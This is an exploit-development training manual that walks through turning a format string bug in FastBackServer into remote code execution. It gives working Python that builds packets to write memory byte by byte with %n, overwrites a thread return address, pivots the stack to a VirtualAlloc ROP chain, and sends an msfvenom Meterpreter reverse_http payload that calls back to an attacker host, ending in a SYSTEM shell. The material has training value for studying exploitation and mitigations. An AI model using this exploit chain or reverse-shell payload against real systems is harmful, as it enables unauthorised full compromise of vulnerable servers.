Skip to content

Latest commit

 

History

History
721 lines (565 loc) · 21.7 KB

File metadata and controls

721 lines (565 loc) · 21.7 KB

Format String Specifier Attack Part II - Training Manual

Table of Contents

  1. Introduction
  2. Write Primitive with Format Strings
  3. Overwriting EIP with Format Strings
  4. Locating Storage Space
  5. Getting Code Execution
  6. Summary

Introduction

This module builds upon the format string vulnerability analysis from the previous module, where we developed a read primitive to bypass ASLR. Now we will explore how to leverage the same format string vulnerability to create a write primitive and ultimately achieve code execution without requiring additional vulnerabilities.

flowchart TD
    A[Format String Vulnerability] --> B[Read Primitive]
    A --> C[Write Primitive]
    B --> D[ASLR Bypass]
    C --> E[EIP Control]
    D --> F[Code Execution]
    E --> F
    F --> G[DEP Bypass via ROP]
    G --> H[Shellcode Execution]
Loading

Write Primitive with Format Strings

Format String Specifiers Revisited

The key to creating a write primitive lies in understanding the %n format specifier. Unlike other format specifiers that read or format data, %n writes the number of characters processed so far into a supplied address.

Example Usage:

printf("This is a string %n", 0x41414141);

When executed, this code:

  • Prints the hardcoded string to console
  • Writes the string length (0x11) to address 0x41414141
  • Raises an access violation if the address is invalid
graph LR
    A[Format String] --> B[Characters Processed]
    B --> C[%n Specifier]
    C --> D[Write Count to Memory]
    D --> E[Access Violation if Invalid Address]
Loading

Important Notes:

  • The length written does not include the format string specifier itself
  • Visual Studio disables %n by default for security reasons
  • Less secure compilers or explicitly enabled %n can be exploited

Testing %n Specifier Availability

To test if %n is enabled in FastBackServer, we modify our previous exploit code:

import socket
import sys
from struct import pack

def main():
    if len(sys.argv) != 2:
        print("Usage: %s <ip_address>\n" % (sys.argv[0]))
        sys.exit(1)
    
    server = sys.argv[1]
    port = 11460
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    
    # psAgentCommand
    buf = pack(">i", 0x400)
    buf += bytearray([0x41]*0xC)
    buf += pack("<i", 0x604)  # opcode
    buf += pack("<i", 0x0)    # 1st memcpy: offset
    buf += pack("<i", 0x100)  # 1st memcpy: size field
    buf += pack("<i", 0x100)  # 2nd memcpy: offset
    buf += pack("<i", 0x100)  # 2nd memcpy: size field
    buf += pack("<i", 0x200)  # 3rd memcpy: offset
    buf += pack("<i", 0x100)  # 3rd memcpy: size field
    buf += bytearray([0x41]*0x8)
    
    # psCommandBuffer
    buf += b"w00t:BBAAAA" + b"%x:" * 20
    buf += b"%n"
    buf += b"%x" * 0x6b 
    buf += b"B" * 0x100 
    buf += b"C" * 0x100 
    
    # Padding
    buf += bytearray([0x41]*(0x404-len(buf)))
    s.send(buf)
    s.close()
    sys.exit(0)

if __name__ == "__main__":
    main()

Expected Result in WinDbg:

(1d34.1354): Access violation - code c0000005 (first chance)
eax=41414141 ebx=0000006e ecx=000000c7 edx=00000200 esi=102edf4a edi=00000800
eip=00672f1a esp=102ed964 ebp=102edbbc iopl=0 nv up ei pl zr na pe nc
FastBackServer!_output+0x507:
00672f1a 8908 mov dword ptr [eax],ecx ds:0023:41414141=????????

This confirms that:

  1. The %n specifier is enabled
  2. An access violation occurs when writing to invalid address 0x41414141
  3. The value 0xC7 (contents of ECX) would be written to a valid address

Overcoming Limitations

The main challenge is controlling both the memory address and the value being written. We need to overcome several limitations:

Understanding the Write Value

The %n specifier writes the number of bytes processed so far. From our analysis:

  • Static string: "AGI_S_GetAgentSignature: couldn't find agent"
  • Our tag: "w00t:BB"
  • Format specifiers: multiple %x entries
  • Total minimum value: 0xC7

Controlling the Write Value

The format specifier prototype is:

%[flags][width][.precision][length]specifier

The [width] subspecifier determines padding, allowing us to control the total character count.

Algorithm for calculating width:

def calculate_width(byte_value):
    if byte_value > 0xC6:
        width = byte_value - 0xC7 + 0x8
    else:
        width = byte_value + 0x39 + 0x8
    return width
flowchart TD
    A[Target Byte Value] --> B{Value > 0xC6?}
    B -->|Yes| C[width = value - 0xC7 + 0x8]
    B -->|No| D[width = value + 0x39 + 0x8]
    C --> E[Apply Width to %x Specifier]
    D --> E
    E --> F[%n Writes Desired Value]
Loading

Maximum Write Constraints

The vsnprintf function has a maximum size limit of 0x1C7 characters, restricting our write range to values between 0xC7 and 0x1C7.

Write to the Stack

To write to the stack, we need to:

  1. Combine the write primitive with our stack leak capability
  2. Account for variable stack content that affects the character count
  3. Ensure consistent behavior across exploitation attempts

Key Challenge: Variable Stack Content

When combining the stack leak with the write primitive, leftover bytes from previous vsnprintf calls can affect the character count. We solve this by:

  1. Using a fixed width (6) for the sixth %x specifier
  2. Removing four colons to maintain the correct total count
  3. Adjusting our algorithm accordingly

Updated Code Structure:

# Account for variable content
buf += b"%x" * 5 + b":"
buf += b"%6x:"
buf += b"%x:" * 13
buf += b"%" + b"%d" % width + b"x:"
buf += b"%n"

Going for a DWORD

To write a complete DWORD (4 bytes), we combine four byte writes:

def write_dword(socket, address, value):
    for index in range(4):
        byte_value = (value >> (8 * index)) & 0xFF
        width = calculate_width(byte_value)
        
        # Construct packet for this byte
        write_single_byte(socket, address + index, width)

def write_single_byte(socket, address, width):
    # Build packet with calculated width
    buf = construct_packet(address, width)
    socket.send(buf)
sequenceDiagram
    participant E as Exploit
    participant T as Target
    
    E->>T: Write Byte 1 (LSB) to Address
    E->>T: Write Byte 2 to Address+1
    E->>T: Write Byte 3 to Address+2
    E->>T: Write Byte 4 (MSB) to Address+3
    Note over T: Complete DWORD written
Loading

Example: Writing 0x1234ABCD

Write Address Value Result
Initial state 00 00 00 00
0x41414141 0xCD 00 00 00 CD
0x41414142 0x1AB 00 01 AB CD
0x41414143 0x134 01 34 AB CD
0x41414144 0x112 12 34 AB CD

Overwriting EIP with Format Strings

Locating a Target

To gain EIP control, we need to find a return address on the stack that:

  1. Won't be modified before our write completes
  2. Is triggered when we close the connection
  3. Remains at a consistent offset from our leaked stack address

Call Stack Analysis:

From our debugging, the optimal target is FastBackServer!_beginthreadex+0xf4 because:

  • It's far down the call stack (frame 09)
  • It's triggered when the connection closes
  • The stack frame remains stable during packet processing

Finding the Target Address:

# ChildEBP RetAddr 
00 0f4cdbbc 0066bf8e FastBackServer!_output+0x507
01 0f4cdbf4 0065b14b FastBackServer!_vsnprintf+0x2c
...
09 0f52ff48 006693e9 FastBackServer!ORABR_Thread+0xef
0a 0f52ff80 75f19564 FastBackServer!_beginthreadex+0xf4  <-- TARGET

The return address location: 0f52ff4c (contains 006693e9)

Calculating the Offset:

Offset = Return_Address_Location - Leaked_Stack_Address
Offset = 0f52ff4c - 0f4cded4 = 0x62078

Obtaining EIP Control

With the target located, we can overwrite the return address:

def exploit():
    # Calculate addresses
    return_addr = stack_addr + 0x62078
    
    # Overwrite return address with our controlled value
    write_dword(s, return_addr, 0x41414141)
    
    # Close connection to trigger return
    s.close()

Verification in WinDbg:

# Before overwrite
0:079> dds 0x136fff4c L1
136fff4c 006693e9 FastBackServer!_beginthreadex+0xf4

# After overwrite
0:079> dds 0x136fff4c L1
136fff4c 41414141

# When connection closes
eip=41414141 esp=136fff54 ebp=136fff80
41414141 ?? ???
graph TD
    A[Leak Stack Address] --> B[Calculate Return Address Location]
    B --> C[Overwrite Return Address]
    C --> D[Close Network Connection]
    D --> E[Thread Returns to Overwritten Address]
    E --> F[EIP Control Achieved]
Loading

Locating Storage Space

Finding Buffers

The format string cannot contain our ROP chain or shellcode because it's interpreted as a character string. We need alternative storage.

From our reverse engineering, we know that psAgentCommand and psCommandBuffer data is copied into three separate stack buffers during processing.

Testing Buffer Availability:

# Send packet with recognizable pattern
buf += b"DDDDEEEEFFFFGGGGHHHH"
buf += pack("<i", 0x200)  # Include NULL bytes to test handling
buf += b"C" * 0x200

Searching for Buffers in WinDbg:

0:089> s -d 0fb92000 L?1f800 0x44444444
0fb95c20 44444444 45454545 46464646 47474747 DDDDEEEEFFFFGGGG
0fc03b30 44444444 45454545 46464646 47474747 DDDDEEEEFFFFGGGG

Buffer Analysis:

  • First buffer: Doesn't handle NULL bytes well (string operations)
  • Second buffer: Preserves NULL bytes (memcpy operations)
  • Second buffer offset from leaked stack: 0x55c5c (constant)
graph TB
    A[Network Packet] --> B[psAgentCommand Processing]
    B --> C[Buffer 1: strcpy - Bad Characters]
    B --> D[Buffer 2: memcpy - No Bad Characters]
    B --> E[Buffer 3: sscanf - Multiple Bad Characters]
    
    D --> F[Suitable for ROP Chain/Shellcode]
    C --> G[Unsuitable - NULL Termination]
    E --> H[Unsuitable - Character Restrictions]
Loading

Stack Pivot

Since ESP doesn't automatically point to our ROP chain, we need a stack pivot gadget.

Challenge: EIP is overwritten when the connection closes, so the execution context is unrelated to our input buffers.

Solution: Use a two-stage approach:

  1. Overwrite return address with pivot gadget address
  2. Write target buffer address at return_address + 8

Stack Pivot Gadget:

0x100e1af4: pop esp ; add esi, dword [ebp+0x03] ; mov al, 0x01 ; ret

Stack Layout Setup:

Address Value Description
return_addr pivot_gadget POP ESP; ... ; RET
return_addr+8 buffer_addr Address of psCommandBuffer

Implementation:

return_addr = stack_addr + 0x62078
buf_addr = stack_addr + 0x55c5c
pivot_addr = kernelbase_base + 0xe1af4

# Write pivot gadget address
write_dword(s, return_addr, pivot_addr)
# Write buffer address for POP ESP
write_dword(s, return_addr + 8, buf_addr)
sequenceDiagram
    participant C as Connection Close
    participant P as Pivot Gadget
    participant B as Buffer
    
    C->>P: RET to pivot_addr
    P->>P: POP ESP (loads buf_addr)
    P->>P: ADD ESI, [EBP+3]
    P->>P: MOV AL, 1
    P->>B: RET (jumps to buffer)
    Note over B: ESP now points to ROP chain
Loading

Getting Code Execution

ROP Limitations

Traditional ROP attacks face three main limitations:

  1. ASLR makes function addresses unknown
  2. Stack addresses are unknown
  3. NULL bytes are bad characters

Our Advantages:

  • ASLR bypass provides kernelbase.dll base address
  • Stack leak provides buffer locations
  • NULL bytes are allowed in our buffer

This transforms our ROP attack into a Ret2Libc style attack.

VirtualAlloc Setup

We'll use VirtualAlloc to make our shellcode executable:

LPVOID VirtualAlloc(
    LPVOID lpAddress,        // Our buffer address
    SIZE_T dwSize,          // 0x200
    DWORD flAllocationType, // 0x1000 (MEM_COMMIT)
    DWORD flProtect         // 0x40 (PAGE_EXECUTE_READWRITE)
);

Stack Layout for VirtualAlloc:

# psCommandBuffer content
buf += pack("<i", kernelbase_base + 0x1125d0)  # VirtualAlloc address
buf += pack("<i", buf_addr + 0x18)             # Return address (shellcode)
buf += pack("<i", buf_addr + 0x18)             # lpAddress (shellcode location)
buf += pack("<i", 0x200)                       # dwSize
buf += pack("<i", 0x1000)                      # flAllocationType
buf += pack("<i", 0x40)                        # flProtect
# Shellcode follows at offset 0x18
flowchart LR
    A[Stack Pivot] --> B[VirtualAlloc Call]
    B --> C[Memory Made Executable]
    C --> D[Return to Shellcode]
    D --> E[Code Execution Achieved]
Loading

Verification Process:

  1. Before VirtualAlloc:
0:088> !vprot 0f613b48
BaseAddress: 0f613000
AllocationProtect: 00000004 PAGE_READWRITE
Protect: 00000004 PAGE_READWRITE
  1. After VirtualAlloc:
0:088> !vprot 0f613b48
BaseAddress: 0f613000
AllocationProtect: 00000004 PAGE_READWRITE  
Protect: 00000040 PAGE_EXECUTE_READWRITE

Getting a Shell

Generate Shellcode:

msfvenom -p windows/meterpreter/reverse_http \
         LHOST=192.168.119.120 \
         LPORT=443 \
         EXITFUNC=thread \
         -f python \
         -v shell

Key Considerations:

  • Use EXITFUNC=thread to prevent application crash
  • Shellcode size: 678 bytes (requires increased buffer size)
  • No bad characters restrictions in our buffer

Final Payload Structure:

print("Sending payload")
# psAgentCommand
buf = pack(">i", 0x400)
buf += bytearray([0x41]*0xC)
buf += pack("<i", 0x80) # opcode (invalid to avoid processing)
buf += pack("<i", 0x0)    # 1st memcpy: offset
buf += pack("<i", 0x300)  # 1st memcpy: size field (increased for shellcode)
buf += pack("<i", 0x100)  # 2nd memcpy: offset
buf += pack("<i", 0x100)  # 2nd memcpy: size field
buf += pack("<i", 0x200)  # 3rd memcpy: offset
buf += pack("<i", 0x100)  # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
buf += pack("<i", kernelbase_base + 0x1125d0)  # VirtualAlloc
buf += pack("<i", buf_addr + 0x18)             # Return/shellcode address
buf += pack("<i", buf_addr + 0x18)             # lpAddress
buf += pack("<i", 0x200)                       # dwSize
buf += pack("<i", 0x1000)                      # flAllocationType  
buf += pack("<i", 0x40)                        # flProtect
buf += shell                                    # Meterpreter shellcode

# Padding
buf += bytearray([0x41]*(0x404-len(buf)))
s.send(buf)
s.close()
print("Shell is incoming!")

Complete Exploit Flow:

graph TD
    A[Start Exploit] --> B[Leak Stack Address]
    B --> C[Leak Kernelbase Base]
    C --> D[Calculate Target Addresses]
    D --> E[Write Pivot Gadget to Return Address]
    E --> F[Write Buffer Address for Stack Pivot]
    F --> G[Send Final Payload with Shellcode]
    G --> H[Close Connection]
    H --> I[Stack Pivot Executes]
    I --> J[VirtualAlloc Makes Memory Executable]
    J --> K[Jump to Shellcode]
    K --> L[Reverse Shell Obtained]
Loading

Expected Result:

msf5 exploit(multi/handler) > exploit
[*] Started HTTP reverse handler on http://192.168.119.120:443
[*] http://192.168.119.120:443 handling request from 192.168.120.10; (UUID: 5sme6pol) 
Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.10:53063)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Advanced Techniques and Considerations

Stability and Reliability

Challenges Encountered:

  1. Variable Stack Content: Previous vsnprintf calls leave data affecting character counts
  2. Timing Issues: Multiple packet coordination requires careful sequencing
  3. Memory Layout Changes: Stack addresses vary between runs

Solutions Implemented:

  • Fixed-width format specifiers for consistency
  • Constant offset calculations validated across restarts
  • Error handling for failed write operations

Debugging and Verification

Key Debugging Steps:

  1. Verify %n Availability:
# Test with invalid address to confirm access violation
buf += b"%n"  # Should cause crash at 0x41414141
  1. Validate Write Primitive:
# Write known value and verify in debugger
write_byte(target_addr, 0xD8)
# Check: dd target_addr L1 should show 000000D8
  1. Confirm Stack Pivot:
# Set breakpoint on pivot gadget
# Verify ESP changes to buffer address
  1. Test Memory Permissions:
# Before: !vprot buffer_addr shows PAGE_READWRITE
# After VirtualAlloc: shows PAGE_EXECUTE_READWRITE

Security Implications

Mitigations Bypassed:

  • ASLR: Through memory disclosure via format strings
  • DEP/NX: Via VirtualAlloc ROP chain
  • Stack Cookies: Precise overwrites avoid cookie corruption
  • Control Flow Guard (CFG): Return address overwriting bypasses CFG

Detection Considerations:

  • Multiple network connections in sequence
  • Unusual memory allocation patterns
  • Format string vulnerability exploitation signatures

Code Quality and Modularity

Recommended Code Structure:

class FormatStringExploit:
    def __init__(self, target_ip):
        self.target_ip = target_ip
        self.port = 11460
        self.stack_addr = None
        self.kernelbase_base = None
    
    def leak_stack_address(self):
        """Leak stack address using format string read primitive"""
        pass
    
    def leak_kernelbase_address(self):
        """Leak kernelbase.dll base address"""
        pass
    
    def calculate_width(self, byte_value):
        """Calculate format specifier width for target byte"""
        if byte_value > 0xC6:
            return byte_value - 0xC7 + 0x8
        else:
            return byte_value + 0x39 + 0x8
    
    def write_byte(self, address, value):
        """Write single byte using format string write primitive"""
        width = self.calculate_width(value)
        # Build and send packet
    
    def write_dword(self, address, value):
        """Write 4-byte value using multiple byte writes"""
        for i in range(4):
            byte_val = (value >> (8 * i)) & 0xFF
            self.write_byte(address + i, byte_val)
    
    def exploit(self):
        """Execute complete exploit chain"""
        self.leak_stack_address()
        self.leak_kernelbase_address()
        self.setup_stack_pivot()
        self.send_payload()

Summary

This module demonstrated how to create a sophisticated write primitive using format string vulnerabilities and combine it with read primitives to achieve full code execution. The key achievements include:

Technical Accomplishments

  1. Write Primitive Development: Successfully created arbitrary memory write capability using the %n format specifier
  2. Precision Exploitation: Overwrote only two DWORDs on the stack instead of smashing the entire stack
  3. Multiple Bypass Integration: Combined ASLR bypass, DEP bypass, and stack-based exploitation
  4. Advanced ROP Techniques: Implemented stack pivoting and ret2libc style attacks

Key Learning Points

  • Format String Exploitation: Understanding how %n can be weaponized for memory writes
  • Constraint Solving: Overcoming character count limitations through careful width calculations
  • Memory Layout Analysis: Locating suitable storage buffers through reverse engineering
  • Mitigation Bypass: Combining multiple techniques to bypass modern security features

Exploit Complexity Analysis

pie title Exploit Development Effort Distribution
    "Reverse Engineering" : 30
    "Write Primitive Development" : 25
    "Stack Pivot Implementation" : 20
    "ROP Chain Construction" : 15
    "Shellcode Integration" : 10
Loading

Attack Timeline

gantt
    title Format String Exploit Development Timeline
    dateFormat X
    axisFormat %s
    
    section Reconnaissance
    Format String Discovery    :0, 5
    Vulnerability Analysis     :5, 10
    
    section Read Primitive
    Stack Leak Development     :10, 20
    ASLR Bypass Implementation :15, 25
    
    section Write Primitive
    %n Specifier Analysis      :25, 35
    Width Calculation Algorithm :30, 40
    Byte Write Implementation  :35, 45
    DWORD Write Capability     :40, 50
    
    section Code Execution
    Target Identification      :45, 55
    Stack Pivot Development    :50, 60
    ROP Chain Construction     :55, 65
    Shellcode Integration      :60, 70
Loading

Performance Metrics

Metric Value Notes
Total Packets Sent 8-12 2 for leaks + 4 for DWORD writes + payload
Exploit Reliability ~85% Dependent on timing and stack stability
Time to Shell 15-30s Including multi-stage write operations
Memory Footprint <1KB Minimal shellcode and ROP chain
Detection Probability Medium Multiple connections may trigger monitoring

This level of complexity demonstrates the persistent and creative thinking required for advanced exploit development against modern applications with multiple security mitigations enabled.

The complete exploit chain showcases how format string vulnerabilities, when combined with memory disclosure and precise write capabilities, can lead to full system compromise despite the presence of ASLR, DEP, and other security mechanisms.

Lessons Learned

  1. Patience and Persistence: Complex exploits require methodical approach and extensive debugging
  2. Creative Problem Solving: Constraints often require innovative solutions (width calculations, stack pivots)
  3. Defense in Depth: Multiple security mechanisms require multiple bypass techniques
  4. Precision Over Brute Force: Targeted writes are more reliable than stack smashing
  5. Documentation Importance: Complex exploit chains require detailed documentation for maintenance